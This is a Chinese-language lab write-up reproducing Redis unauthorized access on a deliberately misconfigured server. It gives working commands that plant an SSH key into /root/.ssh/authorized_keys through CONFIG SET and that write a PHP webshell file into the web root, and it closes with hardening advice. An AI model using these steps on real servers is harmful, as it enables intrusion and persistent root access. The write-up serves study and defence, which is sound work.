Redis未授權訪問漏洞分析
Redis因配置不當和未授權訪問。導致無需認證就可以訪問到內部資料,可導致敏感資訊洩露,也可以通過config 命令,可以進行寫檔案操作。
一、復現環境:
redis v6.0.5
Redis Server:
Centos 7.5 Redis Server
redis.conf 檔案以下兩處進行修改
1、註釋掉 bind 127.0.0.1
2、protected-mode no
攻擊機:Centsos 7.5 Redis Client
二、復現過程:
1、下載Redisv6.0.5將壓縮包解壓後,在src目錄下有redis-server和redis-cli
修改redis.conf檔案:
註釋掉 bind 127.0.0.1
protected-mode no
2、 服務端啟動 redis server,攻擊機直接登陸到Redis Server
啟動 Redis Server : ./src/redis-server redis.conf
攻擊機連線server
./src/redis-cli -h 192.168.195.110
預設用6379埠登陸
無需認證即可登陸到Redis Server,並可執行命令。
4、通過ssh金鑰登陸Redis Server
攻擊機上ssh-keygen生成公鑰和私鑰,將公鑰寫入Redis伺服器,即可使用私鑰登陸
一路按回車即可,預設是 rsa 型別的金鑰
將公鑰內容複製
[root@centos7200 ~]# cat /root/.ssh/id_rsa.pub檢視後複製其內容
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwc/+k4e7fRsYKq6juYwzKvVj1oqPC++zKZ6GJqzpMDi9wh40UlUqD3TKrnvACCM5UZ4RNSuEJMjMytXHjeQqvg7W2tPecKne2HJ8iFE5A754d22k2MAQU/N0f2MPa4eCg0huKEo65bMh+VnxemuHLKyRe5n0q9BTCeXhDNjqkqbu2tBq77i9CducWtUwdSwQN0jLNH8TOSDeCPyWtJMfIQLEDvQIE9AHXAHM1QphBtU8+J6uJV3l7MW2CKd2j2xNQrc+AuVW8WmSBkLF1pUv0yJnBTdgL4xw6SWrn+XmmSWocV84EvYaRctI3QhQPJcz5DTD/7jG2Hn3fjt+mj/wB root@centos7-200
通過redis-cli登陸到server 後,輸入以下命令:
192.168.195.110:6379>config set dir /root/.ssh/將備份路徑設為/root/.ssh/
192.168.195.110:6379>config set dbfilename authorized_keys備份檔名改為authorized_keys
將複製的id_rsa.pub內容貼上進來
192.168.195.110:6379>set x "\n\n\nssh-
rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCwc/+k4e7fRsYKq6juYwzKvVj1oqPC++zKZ6GJqzpMDi9wh40UlUqD3TKrnvACCM5UZ4RNSuEJMjMytXHjeQqvg7W2tPecKne2HJ8iFE5A754d22k2MAQU/N0f2MPa4eCg0huKEo65bMh+VnxemuHLKyRe5n0q9BTCeXhDNjqkqbu2tBq77i9CducWtUwdSwQN0jLNH8TOSDeCPyWtJMfIQLEDvQIE9AHXAHM1QphBtU8+J6uJV3l7MW2CKd2j2xNQrc+AuVW8WmSBkLF1pUv0yJnBTdgL4xw6SWrn+XmmSWocV84EvYaRctI3QhQPJcz5DTD/7jG2Hn3fjt+mj/wBroot@centos7-200\n\n\n"
192.168.195.110:6379>save
攻擊機可以免密登陸到server
5、如果Server上開啟了web服務,Redis有寫許可權的話,可以寫webshell
開啟httpd服務:
登陸伺服器後執行以下命令:
192.168.195.110:6379>config set dir /var/www/html
192.168.195.110:6379>config set dbfilename webshell.php
192.168.195.110:6379>set x "<?php phpinfo(); ?>"
192.168.195.110:6379>save
訪問wehshell.php
三、防護措施
為Redis服務單獨建立user和home目錄,低許可權執行,並且配置禁止登陸
為Redis新增密碼驗證
我們可以通過修改redis.conf檔案來為Redis新增密碼驗證
requirepassmypassword
禁止外網訪問 Redis
修改redis.conf檔案來使得Redis服務只在當前主機可用
bind127.0.0.1
啟動保護模式
protected-mode yes